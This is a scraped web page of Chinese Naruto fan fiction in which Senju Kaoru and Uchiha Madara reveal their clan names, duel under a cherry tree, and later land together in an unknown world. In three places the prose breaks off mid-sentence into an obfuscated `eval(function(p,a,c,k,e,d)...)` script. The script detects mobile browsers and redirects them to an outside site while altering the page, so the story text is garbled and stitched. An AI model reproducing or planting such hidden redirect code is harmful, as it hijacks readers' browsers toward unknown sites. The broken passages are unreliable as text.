熏无奈摊手：“那我不知道怎么骂了，忍者本来就要不择手段，虽然他手段令人不齿，但是就结果而言……” “可以了，不用说了熏，你已经在骂了。”斑抽了抽嘴角，制止熏。 熏欸了一声，而后道：“你还是很维护他嘛，果然是好朋友啊。” “早就不是朋友了。”斑立刻道。 熏：“嗯嗯嗯，不是朋友。” 傲娇嘛，都这样。 又过了一会儿，斑开口：“今天的月亮确实不亮，没有那天清晰，也不够圆。” “什么？” “樱花落个没完没了也让人心烦，果然还是别的花更好看。” 熏：“……等等。” “前面那几个小孩确实吵闹得烦人，要是在族地里我走过去他们就该消停了。”斑语气冷漠。 “你在你们族里是个什么形象啊！” “还有……没让你有足够的安全感，还让你哭了，这种无力的感觉也很讨厌。 “这个世界还是老样子，不认识的忍者绝对不能相交，猜忌毁坏彼此的信任，过去的仇恨在新的一代身上延续，可以做朋友的人最后只能拔刀相向，喜欢的人也会因此流泪哭泣。” 熏说不出话了。 她后知后觉，志叶刚才说的朋友，或许是“我有一个朋友”系列的朋友。 但是志叶面上却没有一丝一毫动摇的痕迹，只有在月光下闪烁的眸光透露出了几分动摇挣扎。 熏低头抓住了志叶的手，同为忍者，他们手上有不少茧，这其实在某种程度上削减了手上的感知。 她一点点与志叶指缝相接，手指贴合在一起，扣住他的手。 “好像直到今天，才更了解你了，志叶，”手指的肌肤更薄，更能感受到血管的脉动，一张一缩间似乎连接了他们的心跳，“我之前其实骗你了。” 斑问：“哪件事？” “……好歹毒的问法，”熏吐槽了一句，又道，“姓氏和名字的事我们扯平了，这个不算，我是说刚才我后悔的事……好像也不算骗，算了，你听着吧，我想想从哪里开始说。” 熏抬头看向夜空，今天的月亮真的很暗，难怪她和志叶心情都不好。 “从芽衣开始说吧，”熏说，“就我们见面那天，其实我本来没想好动不动手的，然后我看见了那棵树，真的很漂亮的树。” 斑想起那天的场景，低低应了一声。 熏继续道：“接着我想起我很喜欢的诗人写过的一篇文章。” 文章里写阳春烟景，写万物如旅人，写人生如梦，让人欢乐的事却珍贵而稀少。［1］ 她在异世界浑浑噩噩了十多年，自诩融入了忍者雇佣兵一样的生活，奔徙在追杀亡命鸳鸯的旅途之中，心中正踌躇不定，然后平野的尽头显出一座隆起的山 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那些乱七八糟的理由，只是因为自己不想再负担责任，只是因为理智不断地告诉她之后的事会很麻烦。 “很自私对吧？”熏问他，“完全没有想过会伤害你。” 斑沉默了很久，手上传来的力道很大，他垂眸看着自己被熏牢牢握住的手，想问她想听见什么回答，想问她是想听见自己说讨厌她吗。 熏和柱间看起来都是很主动的人，但完全不是同类人。柱间是找到目标后一往无前绝不退缩，那股勇气和执着即便是斑也及不上。 熏不一样，她找到目标后却不敢上前。正如她自己说的那样，她似乎缺少了那股勇气……但是很狡猾，她在自己都不知道的时候会做出许多弯弯绕绕的行为来达成最终的目的。 但斑不喜欢被控制着走的感觉。 所以他没有回答熏故意或是无意设下的陷阱，而是问她：“那现在为什么突然要和我说这些？” 熏抬起头，望向斑的眼睛。 她想，志叶的眼睛真是好看啊。 就像他这个人一样，像是在闪闪发光——灵魂或是内心，熏想不出合适的形容。 “因为，志叶你，似乎把勇气传达给我了，”熏说，“我还是很喜欢你，但是也想让你喜欢更真实的我……就算被讨厌也没有关系，我想让你知道真实的我是什么样子。” 不是异常状态的她。 不再给自己任何退路。 “啊，这样啊，”斑看着熏轻轻叹了一口气，“不会再后悔了吗？” 明明第一次表白时，是熏在问斑，说不要后悔。 但被问的人没有后悔，竟然打算就这么走下去，问的人却后悔了。 “……我也是有自尊的，志叶，那种事发生一次就够了，足够我这一辈子回味丢脸了，”她低声回答，空着的手轻轻放在了志叶的颊边，缓缓凑近了少年，“我也给过你机会了，讨厌的话，就直接推开我吧。” 熏的眼睫轻缓地颤动着，而后，吻了上去。 斑想，怎么可能会推开，熏还是一如既往的狡猾。 而后，手指一直浅浅搭着的花枝被他推开，花枝从膝头滚落，散了一地碎花。 斑抬手搂住了熏。 ——我也给过你机会了。 斑想。 也或许，他就没有给过熏离开的机会。 随着年龄增长，年轻一代的族人们望向斑的眼神也逐渐敬畏起来。 未来的宇智波族长还不是日后那个因为实力强大到举目望去仅有一个对手的宇智波斑，面对敌人的挑衅冒犯，斑还需要用实绩树立他的威望，洗刷被冒犯到耻辱——无论他是否会以此为乐。 他也远没有宽容到让他人玩弄自己的感情后还能全身而退。 18.忍族混战18 结果这天晚上因为有赏樱的活动，熏他们投宿的旅店到半夜了都还有人陆陆续续回房。 有的旅客应该是在外面喝了酒，回房的时候闹出了不小动静。 忍者本来就浅眠，熏半夜被这些动静烦得不行，把被子拉过头顶捂住都没用。最后熏自暴自弃，换好衣服在房间里坐了一会儿，拿出忍术卷轴看了一晚上。 第二天见到志叶的时候，熏一边打哈欠一边问志叶昨晚睡得怎么样。 斑见状叹气：“和你一样，没怎么睡。” 熏本来想提议要不就在旅店再补上一天觉，但想想其实也没什么必要，战场上打仗也不会规律到一到晚上就消停，任务也不会都要等到白天来做，这对他们两人而言其实都不算什么。 而且都说好了今天交换姓名，她再这么一提议，显得她又害怕了一样。 这么想着，熏一边问起等会志叶要往哪个方向走，抬头就见志叶欲言又止，便问他想说什么。 斑沉默片刻，他也是想问熏需不需要再休息一下，但见熏已经做好离开的准备，便不再多说什么：“往东南走，你呢？” “也往南，那我们路上看看怎么解决昨天说的事，总不能在这里直接说吧？”熏心中觉得凑巧，但想到他和柱间是朋友，族地都在南边也正常。 斑也觉得这样安排可行，便和熏确认了没有遗落的东西，一起出了城町。 一路上平静得就和郊游一样，刚出城的时候他们身边还一阵一阵地路过装备齐整的商队，接着是三三两两结伴的附近农人与他们的板车。 等到脚下的路越发难走，人烟渐无后，路上也没有遇到以往会遇到的诸如强盗、野兽的意外。 春日天空明澈，飞鸟掠过无痕，熏突然想起昨天的花，还说要赏完樱带回去，结果等他们准备回去的时候才发现那几枝樱花可怜地落在地上，枝上只剩下点零星的花了。 最后他们留下了束带，把那几枝花整齐地放在树下后离开了。 没了其他人后，他们便用上了忍者的速度赶路，还有心思互相比速度。 大概真的是巧合，他们一路打打闹闹，走了不到半日，眼前的光景就逐渐熟悉了起来。远远望去，熏就看见了当初前往林下城的途中见到的那棵垂枝樱。 “……这也太巧了。”熏停了下来，望着花叶繁茂的樱树，喃喃自语。 斑停在熏的身旁，淡淡说道：“不算巧，我接了任务，得知他们会前往林下城寻求庇护，就从城中赶到他们必经的这里拦截他们。” 他和熏一南一北，追着同样的目标，在此相遇。 白日的樱花与那晚被夜色浸透成紫色的花截然不同，粉白相间的繁盛花海简直就像暖色调的油画一样。 他们慢慢走近樱树，熏深深吸了一口气，看向自己因为紧张而有些颤抖的手：“那么，就这里吧。” “嗯。”斑知道熏说的是什么。 他拿出昨晚绑系花枝的红色束带，用熏所送的短刀将其劈裂为整齐的两半，留下一半给自己，另一半递给了熏：“我们同时写下自己的姓名，这也免去听见对方的身份后改口的顾虑……也给我们足够的距离。” 当得知对方真实身份的瞬间，他们就不再是简简单单正在交往的恋人，还是背负家族之名的忍者。 熏握住险些被风吹走的红色飘带，应了一声，缓缓与志叶拉开距离，坐在树下从封印卷轴中取出笔墨写名字。 写名字的时候，熏不禁想到，将丝带一分为二，再写上双方的名字，会不会不太吉利。但她转念又想自己太过迷信，只是一条丝带的事，破镜都能重圆，大不了交换后再绑在一起好了。 心头诸般杂念一闪而过，回过神来时千手熏三个字已经端端正正地写在了带子上。 熏看着名字边缘被墨迹浸开的的不规则痕迹，又开始懊恼自己写的时候怎么这么不上心，写得太丑了，想要重头写过——那当然是不可能的，丝带只有这一条。 熏又想，要不然抹掉名字吧，就当什么都没有发生过，要是能回到昨天以前就好了，要是今天一直不会到来就好了—— “熏。” 志叶的声音自身后传来，熏下意识合拢手上写好名字的丝带，转头看向志叶。 少年手上握着的丝带随风扬起，熏朝他手中看去，想要从没写字的地方看出些端倪，但写了字的地方被志叶的手挡得严严实实，什么都看不出来。 熏不由有些丧气。 “写好了吗？”志叶问她。 熏摇了摇头，又点头。 事到临头，熏想说自己后悔了，但昨天的话还言犹在耳，真的说出来她会唾弃自己一辈子的。 她在心里对自己说，世上哪有那么好的事，又想和喜欢的人谈恋爱，又不想面对对方的身份，还想做个什么事都没发生一样的忍者，这么贪心是会被上天制裁的。 但熏又想，非要在今天吗？非要在这里吗？就不能无止境地拖下去吗？ 她开始羡慕芽衣了，芽衣带着秀哉离开还有去处，能回自己的忍族，但她和志叶都不可能为了一份不知道前路的、短暂的恋情抛下自己的忍族与家人。 志叶提起家人的时候少，但是熏也知道他很重视自己的弟弟。 她也不用说。她还要保护好妈妈，这是她和灯约好了的。瓦间和板间已经去世了，扉间说柱间太天真容易被骗，所以她也得分点心以免柱间出意外，还得看着点总爱研究奇怪忍术的扉间免得他哪天把自己给炸了。桃华说再过两年就把她家桃树下埋的酒挖出来分给她喝，她数着日子等着那一天，说什么也不可能离开…… 熏站起身，走到志叶的面前，微微抬起头看着他。 ——只要志叶不是宇智波。其他家族的话，或许都还有些办法。最好也千万不是羽衣，也不要是…… 心中挨个把忍族的名字点过去，熏握着丝带的手越发紧。 她怎么就这么轻易地喜欢上一个外族人了呢？ 熏不愿意再想下去了，她抓起志叶空着的手把写好名字的带子塞给了他，又颤抖着手合拢他的掌心，确认这种状态下志叶一个字也看不见后，才抓的他的手开始掉眼泪。 她哭得比昨晚还要放肆，声音盈满了哭腔，为自己的怯懦和那么多的想法：“你就一点也不紧张吗？” 为什么志叶就可以这么冷静呢？ 她抱怨地问道。 斑想抬起手拭去熏的眼泪，但熏两只手都死死抓住了他的手，不让他的手有活动的余地。 “这是必须面对的，”斑说完后又觉得自己的语气似乎太强硬了，他看着垂着头不说话的熏，又加上了一句温和一些的话，“我希望我们能有以后。” 只要熏不是千手，他们总有方法能在一起。 这并非盲目的自信，而是宇智波一族带来的底气。 如今的忍界，实力以宇智波和千手为首。 “你好像什么都不担心，这也太不公平了。”熏平复了一下自己的情绪，去扒拉他另一只有写了他名字的丝带的手。 熏扒拉了一会儿，怎么也掰不开志叶的手，于是抬起头瞪志叶：“为什么不给我？” 斑抿着唇，盯着熏说：“我没说不给你。” 熏：“那你松手。” 斑没有说话，刚才怎么也掰不开的手终于松动了一角。 熏见状低头去拿丝带，肩膀却突然被轻轻一推，去拿丝带的手就连着丝带一起，被少年扣住压在了身后的树干上，接着就是一个令人心生不安的吻。 没来由的危机感令熏战栗不已，她不由睁大眼睛，没被困住的那只手去推面前人的肩。 但斑却一点也不配合，熏的眼睛近在眼前，她对写轮眼毫无防备，斑心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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熏深深看了眼志叶，然后转过身，开始往前走。 一边走，一边数着数。 一边走，也一边听着志叶的脚步声。 十个数仿佛很多，多到熏无数个念头涌起又消失，最后心境澄明准备迎接最后的结局。 十个数又好像很少，少得她还没反应过来，眨眼间就结束了。 熏转过身，看向同时回转过身的少年。 就在这时，像是某种预兆。突如其来的风卷起落樱，仿佛吹落千层雪，延缓了熏看向名字的动作。 她在风止息后展开了写有名字的丝带，在看清上面名字的瞬间，熏浑身的血液都仿佛被冻结了起来，连写着名字的红色丝带底色，都仿佛暗沉了几分，透出鲜血一般不祥的意味。 ——太荒谬了。 这是熏在心中念出这个名字后的第一个想法。 丝带上写着全是假名组成的名字。 うちは マダラ。 宇智波斑。 她应该抬头吗？ 熏问自己。 但这个问题不需要再回答，她已经抬起了头，也握住了刀。 如果，刚才起风的时候，她和志叶……不，应该是她和斑，都没有拿稳字条就好了。 熏想。 这样的话，真相就会被风吹走，他们也可以回到一开始。 但熏也知道，这只是美好的妄念罢了。 熏看见了一双血色的眼睛。 和手中的丝带好像是一个颜色。 和自己头发上那颗珊瑚珠的颜色似乎也很相近。 熏觉得自己可能真的有些被打击到了，前方站着一个露出写轮眼的宇智波，自己还在想这些有的没的。 19.忍族混战19 熏上辈子就知道，一些规则存在的背后都可能有一个奇葩原因，比如宿舍里不能装床帘是因为有人在床帘后养猪。 但熏同样也觉得有些规则其实也没必要太严格地遵守，又不是所有人都会在床帘后养猪。 熏看情况行事的习惯到了这辈子当忍者也没改掉。当年在水之国的时候，灯中了埋伏，他们小队的队长命令所有人撤退，熏安静地跟着小队行进，一点异样也没露出来，最后偷偷跑了回去。 她知道忍者有些规则必须遵守，因为不遵守极有可能会付出性命的代价，但也同时不在意一些看起来很离奇的规则，觉得族中长辈所说的后果简直是杞人忧天。 其中就有一条规则是在外不可与陌生忍者互通姓名，不可与陌生忍者有交情。 很多人也确实不把这条规则当回事，一个人怎么可能会严格遵守所有的规矩。 倒是扉间，极为重视这些，对向来爱在规则边缘反复横跳的熏可谓是三申五令，尤其爱拿隔壁的宇智波当童话里吓人的狼外婆举例子，常说的话就是：“那群阴险狡诈的宇智波就爱骗你这种万事不着调的。” 熏的应对也很无赖：“骗我有什么用，还不如换算成人头折算成功劳。要骗就该骗个大的，直接拿下敌方大将，把佛间叔骗了才有用，再不济骗你和柱间也行啊。”这种理直气壮的态度把扉间气得几天没理她。 现在熏觉得，早知道就认真听扉间的了。 这样她和志叶做完任务就会一拍两散，可能往后永远都不会见面，就算再见面，也能十分冷静地把刀往对方身上捅。 忍者就该有忍者的样子，成天赌不赌的，她又不是赌徒。 要是严格遵守了那些规矩，她哪里会像现在这样，都被写轮眼盯着了，握刀的手还颤抖得不知道能不能顺利拔出剑来。 她知道了，肯定是因为她对敌经验不足，第一次遇上宇智波的人，身边还没有同伴，怎么会不慌呢？ 她该不会已经中幻术了吧？其实下一秒宇智波的刀就会捅穿她的喉咙？ 想到斑现在带着的刀还是自己送的，熏更是后悔。 “千手熏。”斑紧握着手中的丝带，眼睛扫过熏腰间挂着的刀，缓缓念出了熏的全名。 “千手”两个字太有辨识度，一眼望过去就是对家的姓氏。他要比熏先一步看清字条上的名字，也因此将熏所有的反应都看得清清楚楚——她毫不犹豫地握住了防身所用的刀。 这是理所当然的，因为他也毫不犹豫地打开了写轮眼。 斑用于对敌的长刀早就损毁在熏的手中，此刻身边只有一柄短剑，刀刃偏厚，坚硬不易折损。 现在短剑就在斑的腰间，他却没有丝毫要碰的意思。 没有刀对宇智波斑而言并不是太大的问题，写轮眼和忍术能够弥补武器间的差距，夺取敌人的武器也是他所擅长的事。 斑想，有些麻烦，不能让熏近身，也不能让熏进入白发的状态。 “啊，我是。”熏其实不太想应这一声，她回想着他们相遇后的所有事，想起当初斑其实早就说过他的名字，只是她没有当真，又想起斑主动提出与芽衣交涉…… 很多事不存在巧合。 宇智波斑是千手的大敌，不少成年忍者都折损在他手中，这样的一个人怎么会赌上家族的名誉放弃任务。 熏闭了闭眼，恼恨自己的迟钝，既然当初已经对芽衣的身份起疑，为什么不再多想一些呢：“姑且问一句，芽衣和你，究竟是什么关系？” “她是我的族人。”斑说。 一切都有了解释。 宇智波斑为什么会被她“说服”。 为什么当初偷袭她的幕后之人想要设计她杀死芽衣。 欺骗宇智波斑，在他的手中杀死他要保护的族人……幕后之人的目的在斑身上才对。 被激怒的宇智波斑在知道她千手的身份后，想必会更为仇恨千手。 熏想，所以她该庆幸，自己没有想杀芽衣。 否则，对付两个宇智波，此刻扉间恐怕已经在给她上坟了。 但是多可笑，她在宇智波的面前假扮宇智波，还当着他的面用了他亲弟弟的名字。而这一路上她所做的，居然是为一个宇智波摆脱尴尬的处境。 为了成全一个宇智波而放弃自己的任务，爱的一族千手又添实例一则，真是可喜可贺，可喜可贺—— 简直和小丑一样。 他们之间很久都没人说话，熏难以忍受这股令人窒息的沉默，志叶……宇智波斑身上的杀气并未作假，那两颗写轮眼也不是开着玩的。于是熏先一步打破沉默：“为什么不动手？” 斑也问她：“你为什么不拔出你的刀？” 虽然在此之前他们约定好，就算双方都家族有仇怨，也都不会在此刻发作。 但双方的家族既然是千手和宇智波，那也就没必要再纠结这条约定了。 熏强撑起笑容答道：“这还不简单？当然是因为我在等一个在道德制高点动手的机会，你先动手，我就有理由做任何事。” 她已经不再看斑了，那双写轮眼太过刺眼，也太过危险。 她想问问斑，在她以宇智波的身份自居、胡乱说着自己的眼睛是写轮眼时，斑在想什么。 但她不想自讨没趣，答案简直太简单了，她自己都能给出答案。 斑的语气带着一股讥讽，就像是最初相见时志叶的语气，他问道：“对一个没有武器的人动手？” 利刃划过刀鞘，斑身上的杀气更为凛冽了。 熏原本还想回上一句他只是没有刀，可不是没有武器，但下一刻她就因斑的举动将所有的事都排在之后，抽出刀与斑手中的刀锋对上。 斑拔出了短刀。 刀锋相抵，拉出一串刺耳的摩擦声，雪亮的刀身上映出一双猩红的眼睛，黑色的勾玉盘旋其中。 熏下意识闭上眼，就要踹开眼前之人，又反应过来自己刚才其实完全可以避开这一击并用连续的突刺反击，又奇怪对方为什么吃力不讨好地选择这种攻击方式。 又为什么不直接用写轮眼？ 短兵对长兵本就不利。 熏不会相信一个宇智波在面对一个千手时会念旧情，也不相信对方露着他们一族极为消耗查克拉的写轮眼就为了好看。 所以答案呼之欲出，这是为了让她放松警惕，再出其不意一击必杀。 ……果然，好狡猾的宇智波。 斑避开熏的攻击同时与熏拉开了距离，他的表情几乎没怎么变过，冷漠如同面具遮住了他所有的情感。 一击退开后，短刀入鞘，几枚手里剑疾掠而出，斑踏上垂枝樱的枝干，手指飞快结下几个印—— 火焰包裹着手里剑，又燃起飘飞的花瓣，高温之下柔软的花瓣在顷刻之间便被碳化，焚城灰烬。 熏挑开两枚手里剑，火苗便顺着手里剑顺势舔上被笃笃扎中的树干。 盛放在原野间的垂枝樱转瞬间就被点燃。 熏用土遁抵挡下剩下几枚附带火遁的手里剑。她不会水遁，倒是擅长风遁，可此时此刻，风遁反而会助长火势。 这些分析在她脑中转过的同时，宇智波斑又手握苦无，蹬着树枝从上方袭来。 尖锐的利刃撞上震颤不已的刀身，熏隐约听见了有什么崩裂的声音。 她来不及细想，挥刀斩向已到近前的斑，同时甩出铁线击落不知何时绕向背后袭来的暗器。 火势越发剧烈，风吹过时将火焰推得更高，承受不住燃烧的垂枝带着同样燃烧着的樱花落向地面。 热风一阵阵卷过两人的头发，两人却置若罔闻，近身战打得恨不得将对方摁进燃烧的大火里——或者说他们本就身陷其中。 拔刀其实也没有那么困难。 熏将刀刺向斑时，突然意识到。 只是周围实在太热了，所以最后被压在地上，用刀抵着斑的苦无时，熏越发觉得呼吸困难。 她的手指逐渐有了变形的趋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978374|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势，指甲拉长，熏隐约想起很多死在火灾中的人似乎是被气体毒死的。 这么一恍神，她不慎与斑的写轮眼对视，也隐约看见了对方嘴唇微动，正说着什么。 “千手。” 熏认出了斑的口型。 周围的大火突然消失得一干二净，他们突然就回到了第一次见面的那个夜晚。 只是斑仍然压着她，熏的刀依旧抵挡着斑的苦无，樱花落到他们身侧，宇智波斑对她说：“你会死在战场上。” 熏沉默片刻，她知道自己已经在幻术中，却不敢赌还有下一个幻术，于是避开斑的眼睛，冷笑道：“你的幻术就用来做这种事？那还不如做梦。” 她没注意自己进入异常状态的进度已然中断，过去在战场上她很是学了些垃圾话，此刻用正好。只是刚一开口，她的头就突然一阵刺痛，没有印象的画面闪过脑海。 她压着斑的画面、斑手臂抵在她颈前作出防守姿态，叫着她真名让她冷静的画面……以及那时便对她使用过写轮眼的斑。 熏听见斑说道：“仅凭着肉/体力量逞强，你早晚会死在某个人手里。” 挡在身前的剑终于承受不住，令人牙酸的声音在耳边扩散。 剑身崩坏碎裂之时，斑的苦无直接扎进熏颈侧的土地中，同时，幻术的场景也如熏的刀一般碎裂开来—— 熏站在一开始的位置，握着刀柄还没将剑拔出，身上出了不少冷汗。 斑也站在不远处，周围没有火，也没有战斗后的一片狼藉。 熏失神地盯着自己的刀，碎刀的幻术太过真实，以至于她甚至有种失而复得的庆幸。 接着她听见宇智波斑的声音。 “千手熏，我不会违反约定，所以这次我不会动手。但如果下次见面，你的实力依旧如此，我会亲手取走你的性命。” 站在花树下的少年黑眸冷淡，随即转身离去。 “等一下！”熏下意识地向前迈出一步，但又立刻意识到他们不再是可以追逐嬉戏的关系，硬生生地停在了原地。 斑回过头，望向熏的眼中再也看不出任何情绪。 熏本来想问，当初为什么要冒着暴露身份的风险对她用写轮眼安抚她的状态；也想问既然他本来就不会杀芽衣，为什么要让她也跟去；更想问刚才他为什么要用幻术来让她明白自己的弱点。 她实在有太多问题想问了。 但熏也知道这些问题的答案都不再具有意义，两族的仇怨足够让这些答案中藏着的东西烟消云散。 最后她深深吸了一口气，问道：“那天……我们第一次切磋的那天晚上，你梦到了什么？” 斑沉默片刻，而后说：“就是你想的那样，那是我的梦。正好，就在这里说清楚，如果你出现在我的梦中，我会毫不犹豫地杀了你。” 这话实在太过冷酷，即便熏早就没有打探对方梦境的心思，闻言也不由呼吸一窒。 她只能强装不在意地回道：“我还不至于天真到利用我们这段关系去你的梦里探听情报……” 事实上，自从知道梦境还能被以幻术的方式控制，她就知道随便入梦是一件极为危险的事，并不准备多用，她也没有可入梦的对象。 “志……宇智波斑，你也听清楚了，”熏说，“你别想轻轻松松取走我的性命，也别期待我会因为你今天的提醒感激你，我更不可能生出任何背叛千手的心思。” 她颤抖地取下头上的发簪掷向对方。 插在斑脚边的发簪尾部包绕珊瑚珠的金叶正微微颤动着，熏说道：“剑只是赔偿，我不需要你再回礼，宇智波的东西我也用不上，从前的事我会当没发生过，日后在战场上遇见我也不会留情。” 斑瞥向脚边的发簪。他很是安静了一阵，而后缓缓开口，声音低沉：“随便你，被千手碰过的东西，我也不会再要。” 说罢，他头也不回地离开。 熏望着孤零零插在地上的发簪，抹了把眼泪，也转身离去。 20.恶鬼灭杀1 熏在发现自己不受控制被卷入奇怪的空间时就暗道不好。 扉间研究飞雷神时，那堆天书般的笔记完全就是从入门到入土的难度，扉间倒是给她解释和演示过，她却听得似是而非的。 总而言之，她没听明白，但是记住了飞雷神发动时附近空间微妙的变化，也记住了扉间提到过这是时空间忍术发动时无法遮掩的动静。 ——机关设在斑的房间，有人暗算斑？为了破坏结盟？ 熏甚至是先考虑了这些问题，才后知后觉自己中了招，手腕跟着一紧，失重感伴随破风声袭来。 她立刻去够身上的武器，但等她摸了个空被斑抱住，她才想起今天除了两族的护卫人员，宴席上的人都听从双方族长的安排卸下了武器。 大概是因为极速下坠的失重感，熏失去了声音，一句话也说不出来，本能地抓住面前的人的衣服。 破风声在耳边呼啸而过，斑的胸腔微微震动，似乎说了什么，但熏什么都没听到。下一秒，无尽的黑色中骤然亮起点点蓝光。 涌动如海的查克拉汇聚成曾经在战场上令千手感到无比棘手的须佐，他们下坠的趋势骤然减缓。高大的巨人在空中缓缓展开双翅，照亮原本漆黑一片的夜空。 须佐落地时动静不小，待到四周平稳，熏才有余力关注周围的环境。 眼前烟尘弥漫，地面被砸出了个大坑。熏不敢想象如果没有防护措施直接降落她会怎么样。 视野内的景象随着烟尘散去逐渐清晰，树木倒塌一片。 斑直到这时才解开须佐，抱着熏落到地面松开了手。 踩到令人心安的土地后，熏缓了片刻才向周围走了几步，跃出被须佐砸出的大坑，随后她抬起头看向天空，企图判断他们的位置。 天幕上笼罩着一层阴云，连月亮也被遮掩，零星露出的几颗星子陌生极了。 只要看着天空，就能明白一个事实。 ——这里不是忍者世界。 “我们现在……在哪儿？”熏语气茫然，喃喃自语。 她毕竟是穿越过一次的人，此刻她怀疑她又穿越了。 但是和斑一起……？ 宇智波会疯吧，联盟肯定会出问题的！ 熏简直不敢想象其他人发现宇智波族长失踪后会发生什么。 斑也看向天空，神情逐渐凝重起来。 就在两人还在沉默时，他们都察觉到远处有血的气息飘散而来，沉重的喘息声与慌乱的脚步声交杂在一起。 听起来应该是个普通人。 但是大晚上的，深山老林里的普通人……这是迷路遇险了？ “刚才的事，谢谢……要过去看看吗？”熏回过神问斑，后者也看了过来。 自从解开须佐后，斑一直没有主动说话。 他们俩从须佐下来后似乎便恢复了“正常”关系，互相保持着一定的距离。 之前的酒意早在这一系列变故中消散得一干二净，几年前和斑的交集如今想来简直像是上辈子的事，熏最终还是没问斑最后为什么要伸手。 在战场上毫不留情的人会对她伸出援手，只会是因为两族已经结盟。 熏猜哪怕把她换成差点把斑弟弟杀死的扉间，斑估计也会出手救人。 熏有时候挺讨厌这类行为受到立场支配的人，他们似乎完全不计前嫌，但她身边全是这种人，连她自己也是。 在宇智波同意了柱间的结盟请求并要求千手为宇智波泉奈提供医疗支援时，他们指名的医忍中就有她的名字。 扉间知道她对宇智波有意见，在她去见柱间前还和她说不想去就拒绝，结盟能不成最好。 她对扉间翻了个白眼，说他不想结盟就该让她答应，等到了宇智波再趁机把宇智波泉奈干掉。现在这么迂回简直不像他的风格。 扉间说她就不是能干这种事的人，不能指望她完成这种任务，不如直接拒绝。 熏也知道指名她估计有斑了解她性格的原因。她一边在心里骂宇智波斑连这也要算计，一边在见柱间时沉默地接受了柱间的嘱托。 谁让她知道柱间的过去呢，当初回族里后她就不该多嘴去追问柱间和斑的关系。 柱间总觉得她会去问他这件事的原因在于她外出做任务遇到斑后因为柱间的关系被斑留了一命。 哪怕后来他俩在战场上打得头破血流，柱间仍对宇智波斑抱有不知道从哪里来的极端自信和希望，认为总有一天斑会回心转意答应结盟。 在柱间还没有觉醒木遁的时候，他虽然皮糙肉厚耐打，但也只是比其他族人更容易恢复罢了。熏被扉间调去医忍的队伍研究自己的能力到底是怎么回事，有时候她给从战场上下来的柱间处理伤口，这人觉得他们是有共同秘密的共犯，疗伤时就给她洗脑斑如何如何，未来他一定要如何如何。 熏听得烦了，就用沾着药的器械狠狠按住柱间的伤口，无慈悲地看着龇牙咧嘴的柱间冷笑：“你嘴里的宇智波斑那么好，但我看他是把你往死里打的。你再这样我真怕哪天你被他切成两半你嘴里都还会发出不屈的声音喊结盟。” 柱间满脸无所谓，笑嘻嘻地说：“没关系嘛，我也是抱着必死的觉悟和斑厮杀的。无论我们谁死在对方手里，都不会有怨言，我们的梦想都是一致的，只是斑他……” 柱间越说越低落，熏也想起斑那个我有一个朋友系列的故事，然后猛然意识到自己这种回忆前男友的行为太可怕了，当即不再听柱间那可怕的话术，搬出克敌制胜的法宝：“我去叫扉间过来。” 柱间往往会偃旗息鼓，乖乖等她上药。等到柱间觉醒木遁，甚至能够无印回复的时候，熏的耳根就清净了不少，宇智波斑连带宇智波的名字似乎都远离了她的生活。 斑深深看了熏一眼：“我不答应，你也会去吧。” 熏摸了摸鼻子，不知道斑这么说到底是答应还是不答应，但她觉得斑大概没有那种多余的好奇心，于是她点头：“斑大人不去的话，就……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990468|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了。”没等熏说完，斑拉住熏的手就往动静传来的方向走去。 熏脚下一个踉跄，她愣愣地看着斑的手，跟了上去。 这人之前似乎已经打算睡了，没戴他那副似乎不离手的黑色手套，一层轻薄的蓝色单衣穿在身上，上面还留着被她拉扯过的痕迹。 熏看了几眼不敢看了，心虚地转过眼，快步追上斑，没话找话：“得赶紧找到回去的方法，你不见了，结盟会变得很麻烦。” 斑嗯了一声，又问：“你到底想说什么？” 熏暗地有些恼怒，她就这么容易被看出来在想其他东西？ “……你的衣服，理一理吧？”熏轻咳了一声，“待会儿见到其他人，不太好。” 斑扯了扯嘴角：“我记得你挺喜欢别人这样穿。” 黑历史涌上心头，熏眼前一黑。 “那时候喜欢的，不一定现在还喜欢。”她狠狠握紧拳头，却忘了自己的手正被宇智波斑牵着，安静的夜里突兀传来一声骨头作响的嘎吱声。 熏：“……” 她连忙松开手上的力道，惊恐地望向宇智波斑：“你没事吧？” 斑停下脚步，远处的人声更近了。 他看着熏，冷笑道：“没记错的话，我的衣服是被你拉扯成这样的吧？” 他又抬起手掌，递到熏的面前。骨节分明的手掌并没有变形的迹象，但不上手用查克拉探查的话也不能知道是否伤到骨头。 “现在你伤了我的手，还指责我不好好穿衣服？” “……”熏尴尬得失去表情，试图补救，“那我先帮你把手……” 斑转头看向树林深处，语气淡淡的：“来不及了。” 熏终于明白斑的意思了。 “知道了知道了！”她狠狠瞪了一眼高出她半个头的宇智波，伸手拉住斑的衣襟向内合拢往下理。 手落到对方的腰带时，熏微微顿了一下，突然意识到两人如今的距离近得可怕，对方身上的热度正透过衣物传递到她的指尖，灼得人发烫。熏不禁屏住呼吸，才继续手上的动作调整好他的衣服，而后退开一步和斑拉开距离。 